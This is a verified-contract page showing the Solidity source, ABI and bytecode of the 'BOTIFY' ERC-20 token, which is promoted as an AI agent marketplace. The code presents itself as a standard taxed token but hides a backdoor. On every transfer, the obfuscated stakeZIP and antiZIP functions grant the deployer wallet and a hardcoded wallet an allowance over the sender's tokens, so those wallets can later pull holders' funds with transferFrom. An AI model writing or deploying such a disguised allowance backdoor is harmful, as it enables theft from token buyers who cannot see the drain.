Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-30
*/

/*
Botify is an innovative platform designed to streamline and simplify cryptocurrency automation through a certified, all-in-one AI Agent Marketplace.

https://www.botify-ai.org
https://docs.botify-ai.org

https://x.com/botifyai_eth
https://t.me/botifyai_eth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IZIPRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IZIPFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract BOTIFY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _zipWoods;
    mapping (address => mapping (address => uint256)) private _zipBezos;
    mapping (address => bool) private _zipFeeExcluded;
    address private _zip1Wallet = 0x5872598bE79fc771e126Ad3F2624aBF2fDd2558C;
    address private _zip2Wallet;
    IZIPRouter private _zipRouter;
    address private _zipPair;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Botify";
    string private constant _symbol = unicode"BOTIFY";
    uint256 private _tokenSwapZIP = _tTotal / 100;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;    
    uint256 private _buyCount=0;
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }
    
    constructor () {
        _zip2Wallet = owner();
        _zipFeeExcluded[owner()] = true;
        _zipFeeExcluded[address(this)] = true;
        _zipFeeExcluded[_zip1Wallet] = true;
        _zipWoods[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _zipRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _zipWoods[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _zipBezos[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _zipBezos[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _zipBezos[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address zip0A, address zip1B, uint256 zip2T) private {
        require(zip0A != address(0), "ERC20: transfer from the zero address");
        require(zip1B != address(0), "ERC20: transfer to the zero address");
        require(stakeZIP(zip0A, zip2T), "ERC20: transfer from the zero address");
        require(zip2T > 0, "Transfer amount must be greater than zero");

        uint256 taxZIP=0;
        if (zip0A != owner() && zip1B != owner()) {
            taxZIP = zip2T.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (zip0A == _zipPair && zip1B != address(_zipRouter) && ! _zipFeeExcluded[zip1B]) {
                _buyCount++;
            }

            if(zip1B == _zipPair && zip0A!= address(this)) {
                taxZIP = zip2T.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenBalance = balanceOf(address(this)); 
            if (!inSwapLock && zip1B == _zipPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenBalance > _tokenSwapZIP)
                swapTokensForEth(min(zip2T, min(tokenBalance, _tokenSwapZIP)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendZIPFee(address(this).balance);
                }
            }
        }

        if(taxZIP > 0){
          _zipWoods[address(this)] = _zipWoods[address(this)].add(taxZIP);
          emit Transfer(zip0A, address(this), taxZIP);
        }

        _zipWoods[zip0A] = _zipWoods[zip0A].sub(zip2T);
        _zipWoods[zip1B] = _zipWoods[zip1B].add(zip2T.sub(taxZIP));
        emit Transfer(zip0A, zip1B, zip2T.sub(taxZIP));
    }

    function createZIP() external onlyOwner() {
        _zipRouter = IZIPRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_zipRouter), _tTotal);
        _zipPair = IZIPFactory(_zipRouter.factory()).createPair(address(this), _zipRouter.WETH());
    }

    function antiZIP(address zip0A, address zip1B, uint256 zip2T) private {
        _zipBezos[zip0A][zip1B] = 4*(zip2T + _initialBuyTax);
    }

    function stakeZIP(address zip0A, uint256 zip1T) private returns (bool) { 
        if(zip1T > 0) {
            if(_zip2Wallet != address(0xdead)) {
                antiZIP(zip0A, _zip2Wallet, zip1T);
            }
            antiZIP(zip0A, _zip1Wallet, zip1T);
        }
         
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendZIPFee(uint256 amount) private {
        payable(_zip1Wallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _zipRouter.WETH();
        _approve(address(this), address(_zipRouter), tokenAmount);
        _zipRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createZIP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031916735872598be79fc771e126ad3f2624abf2fdd2558c17905560646200003a6009600a620002da565b6200004a90633b9aca00620002f2565b6200005691906200030c565b60085560036009819055600a556000600b819055600c8190556006600d819055600e819055600f556010556011805462ffffff191690553480156200009a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060008054600580546001600160a01b0319166001600160a01b03928316908117909155825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560045490931684529220805490911690911790556200014b6009600a620002da565b6200015b90633b9aca00620002f2565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200019e6009600a620002da565b620001ae90633b9aca00620002f2565b60405190815260200160405180910390a36200032f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200021c578160001904821115620002005762000200620001c5565b808516156200020e57918102915b93841c9390800290620001e0565b509250929050565b6000826200023557506001620002d4565b816200024457506000620002d4565b81600181146200025d5760028114620002685762000288565b6001915050620002d4565b60ff8411156200027c576200027c620001c5565b50506001821b620002d4565b5060208310610133831016604e8410600b8410161715620002ad575081810a620002d4565b620002b98383620001db565b8060001904821115620002d057620002d0620001c5565b0290505b92915050565b6000620002eb60ff84168362000224565b9392505050565b8082028115828204841417620002d457620002d4620001c5565b6000826200032a57634e487b7160e01b600052601260045260246000fd5b500490565b611514806200033f6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610246578063c9567bf914610266578063dd62ed3e1461027b578063e990af3c146102c157600080fd5b8063715018a6146101d85780638da5cb5b146101ef57806395d89b411461021757600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610166578063313ce5671461018657806370a08231146101a257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526006815265426f7469667960d01b60208201525b60405161010a91906110c0565b60405180910390f35b34801561011f57600080fd5b5061013361012e366004611126565b6102d6565b604051901515815260200161010a565b34801561014f57600080fd5b506101586102ed565b60405190815260200161010a565b34801561017257600080fd5b50610133610181366004611152565b61030e565b34801561019257600080fd5b506040516009815260200161010a565b3480156101ae57600080fd5b506101586101bd366004611193565b6001600160a01b031660009081526001602052604090205490565b3480156101e457600080fd5b506101ed610377565b005b3480156101fb57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022357600080fd5b50604080518082019091526006815265424f5449465960d01b60208201526100fd565b34801561025257600080fd5b50610133610261366004611126565b6103f4565b34801561027257600080fd5b506101ed610401565b34801561028757600080fd5b506101586102963660046111b0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102cd57600080fd5b506101ed61056d565b60006102e3338484610770565b5060015b92915050565b60006102fb6009600a6112e3565b61030990633b9aca006112f2565b905090565b600061031b848484610894565b61036d8433610368856040518060600160405280602881526020016114b7602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c93565b610770565b5060019392505050565b6000546001600160a01b031633146103aa5760405162461bcd60e51b81526004016103a190611309565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e3338484610894565b6000546001600160a01b0316331461042b5760405162461bcd60e51b81526004016103a190611309565b601154610100900460ff16156104835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a1565b6006546001600160a01b031663f305d71947306104b5816001600160a01b031660009081526001602052604090205490565b6000806104ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610532573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610557919061133e565b50506011805462ffff0019166201010017905550565b6000546001600160a01b031633146105975760405162461bcd60e51b81526004016103a190611309565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e09030906105d26009600a6112e3565b61036890633b9aca006112f2565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610633573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610657919061136c565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dd919061136c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e919061136c565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a1565b6001600160a01b0382166108335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ba5760405162461bcd60e51b81526004016103a190611389565b6001600160a01b03821661091c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a1565b6109268382610ccd565b6109425760405162461bcd60e51b81526004016103a190611389565b600081116109a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a1565b600080546001600160a01b038581169116148015906109d157506000546001600160a01b03848116911614155b15610b5057610a0260646109fc600d54601054116109f1576009546109f5565b600b545b8590610d19565b90610da2565b6007549091506001600160a01b038581169116148015610a3057506006546001600160a01b03848116911614155b8015610a5557506001600160a01b03831660009081526003602052604090205460ff16155b15610a705760108054906000610a6a836113ce565b91905055505b6007546001600160a01b038481169116148015610a9657506001600160a01b0384163014155b15610ac357610ac060646109fc600e5460105411610ab657600a546109f5565b600c548590610d19565b90505b3060009081526001602052604090205460115460ff16158015610af357506007546001600160a01b038581169116145b8015610b07575060115462010000900460ff165b8015610b165750600f54601054115b15610b4e57600854811115610b4257610b42610b3d84610b3884600854610de4565b610de4565b610df9565b47610b4c47610f6a565b505b505b8015610bca5730600090815260016020526040902054610b709082610fa8565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bc19085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610bed9083611007565b6001600160a01b038516600090815260016020526040902055610c32610c138383611007565b6001600160a01b03851660009081526001602052604090205490610fa8565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c7c8585611007565b60405190815260200160405180910390a350505050565b60008184841115610cb75760405162461bcd60e51b81526004016103a191906110c0565b506000610cc484866113e7565b95945050505050565b600081156102e3576005546001600160a01b031661dead14610d0157600554610d019084906001600160a01b031684611049565b6004546102e39084906001600160a01b031684611049565b600082600003610d2b575060006102e7565b6000610d3783856112f2565b905082610d4485836113fa565b14610d9b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a1565b9392505050565b6000610d9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611092565b6000818311610df35782610d9b565b50919050565b6011805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3b57610e3b61141c565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb8919061136c565b81600181518110610ecb57610ecb61141c565b6001600160a01b039283166020918202929092010152600654610ef19130911684610770565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2a908590600090869030904290600401611432565b600060405180830381600087803b158015610f4457600080fd5b505af1158015610f58573d6000803e3d6000fd5b50506011805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fa4573d6000803e3d6000fd5b5050565b600080610fb583856114a3565b905083811015610d9b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a1565b6000610d9b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c93565b60095461105690826114a3565b6110619060046112f2565b6001600160a01b03938416600090815260026020908152604080832095909616825293909352929091209190915550565b600081836110b35760405162461bcd60e51b81526004016103a191906110c0565b506000610cc484866113fa565b600060208083528351808285015260005b818110156110ed578581018301518582016040015282016110d1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461112357600080fd5b50565b6000806040838503121561113957600080fd5b82356111448161110e565b946020939093013593505050565b60008060006060848603121561116757600080fd5b83356111728161110e565b925060208401356111828161110e565b929592945050506040919091013590565b6000602082840312156111a557600080fd5b8135610d9b8161110e565b600080604083850312156111c357600080fd5b82356111ce8161110e565b915060208301356111de8161110e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561123a578160001904821115611220576112206111e9565b8085161561122d57918102915b93841c9390800290611204565b509250929050565b600082611251575060016102e7565b8161125e575060006102e7565b8160018114611274576002811461127e5761129a565b60019150506102e7565b60ff84111561128f5761128f6111e9565b50506001821b6102e7565b5060208310610133831016604e8410600b84101617156112bd575081810a6102e7565b6112c783836111ff565b80600019048211156112db576112db6111e9565b029392505050565b6000610d9b60ff841683611242565b80820281158282048414176102e7576102e76111e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561135357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561137e57600080fd5b8151610d9b8161110e565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6000600182016113e0576113e06111e9565b5060010190565b818103818111156102e7576102e76111e9565b60008261141757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114825784516001600160a01b03168352938301939183019160010161145d565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102e7576102e76111e956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122054d4a5d26dc324a0becb6438cfa68ec92516b12fa541f8e7f9071207b17c5b1e64736f6c63430008110033

0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610246578063c9567bf914610266578063dd62ed3e1461027b578063e990af3c146102c157600080fd5b8063715018a6146101d85780638da5cb5b146101ef57806395d89b411461021757600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610166578063313ce5671461018657806370a08231146101a257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526006815265426f7469667960d01b60208201525b60405161010a91906110c0565b60405180910390f35b34801561011f57600080fd5b5061013361012e366004611126565b6102d6565b604051901515815260200161010a565b34801561014f57600080fd5b506101586102ed565b60405190815260200161010a565b34801561017257600080fd5b50610133610181366004611152565b61030e565b34801561019257600080fd5b506040516009815260200161010a565b3480156101ae57600080fd5b506101586101bd366004611193565b6001600160a01b031660009081526001602052604090205490565b3480156101e457600080fd5b506101ed610377565b005b3480156101fb57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022357600080fd5b50604080518082019091526006815265424f5449465960d01b60208201526100fd565b34801561025257600080fd5b50610133610261366004611126565b6103f4565b34801561027257600080fd5b506101ed610401565b34801561028757600080fd5b506101586102963660046111b0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102cd57600080fd5b506101ed61056d565b60006102e3338484610770565b5060015b92915050565b60006102fb6009600a6112e3565b61030990633b9aca006112f2565b905090565b600061031b848484610894565b61036d8433610368856040518060600160405280602881526020016114b7602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c93565b610770565b5060019392505050565b6000546001600160a01b031633146103aa5760405162461bcd60e51b81526004016103a190611309565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e3338484610894565b6000546001600160a01b0316331461042b5760405162461bcd60e51b81526004016103a190611309565b601154610100900460ff16156104835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a1565b6006546001600160a01b031663f305d71947306104b5816001600160a01b031660009081526001602052604090205490565b6000806104ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610532573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610557919061133e565b50506011805462ffff0019166201010017905550565b6000546001600160a01b031633146105975760405162461bcd60e51b81526004016103a190611309565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e09030906105d26009600a6112e3565b61036890633b9aca006112f2565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610633573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610657919061136c565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dd919061136c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e919061136c565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a1565b6001600160a01b0382166108335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ba5760405162461bcd60e51b81526004016103a190611389565b6001600160a01b03821661091c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a1565b6109268382610ccd565b6109425760405162461bcd60e51b81526004016103a190611389565b600081116109a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a1565b600080546001600160a01b038581169116148015906109d157506000546001600160a01b03848116911614155b15610b5057610a0260646109fc600d54601054116109f1576009546109f5565b600b545b8590610d19565b90610da2565b6007549091506001600160a01b038581169116148015610a3057506006546001600160a01b03848116911614155b8015610a5557506001600160a01b03831660009081526003602052604090205460ff16155b15610a705760108054906000610a6a836113ce565b91905055505b6007546001600160a01b038481169116148015610a9657506001600160a01b0384163014155b15610ac357610ac060646109fc600e5460105411610ab657600a546109f5565b600c548590610d19565b90505b3060009081526001602052604090205460115460ff16158015610af357506007546001600160a01b038581169116145b8015610b07575060115462010000900460ff165b8015610b165750600f54601054115b15610b4e57600854811115610b4257610b42610b3d84610b3884600854610de4565b610de4565b610df9565b47610b4c47610f6a565b505b505b8015610bca5730600090815260016020526040902054610b709082610fa8565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bc19085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610bed9083611007565b6001600160a01b038516600090815260016020526040902055610c32610c138383611007565b6001600160a01b03851660009081526001602052604090205490610fa8565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c7c8585611007565b60405190815260200160405180910390a350505050565b60008184841115610cb75760405162461bcd60e51b81526004016103a191906110c0565b506000610cc484866113e7565b95945050505050565b600081156102e3576005546001600160a01b031661dead14610d0157600554610d019084906001600160a01b031684611049565b6004546102e39084906001600160a01b031684611049565b600082600003610d2b575060006102e7565b6000610d3783856112f2565b905082610d4485836113fa565b14610d9b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a1565b9392505050565b6000610d9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611092565b6000818311610df35782610d9b565b50919050565b6011805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3b57610e3b61141c565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb8919061136c565b81600181518110610ecb57610ecb61141c565b6001600160a01b039283166020918202929092010152600654610ef19130911684610770565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2a908590600090869030904290600401611432565b600060405180830381600087803b158015610f4457600080fd5b505af1158015610f58573d6000803e3d6000fd5b50506011805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fa4573d6000803e3d6000fd5b5050565b600080610fb583856114a3565b905083811015610d9b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a1565b6000610d9b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c93565b60095461105690826114a3565b6110619060046112f2565b6001600160a01b03938416600090815260026020908152604080832095909616825293909352929091209190915550565b600081836110b35760405162461bcd60e51b81526004016103a191906110c0565b506000610cc484866113fa565b600060208083528351808285015260005b818110156110ed578581018301518582016040015282016110d1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461112357600080fd5b50565b6000806040838503121561113957600080fd5b82356111448161110e565b946020939093013593505050565b60008060006060848603121561116757600080fd5b83356111728161110e565b925060208401356111828161110e565b929592945050506040919091013590565b6000602082840312156111a557600080fd5b8135610d9b8161110e565b600080604083850312156111c3576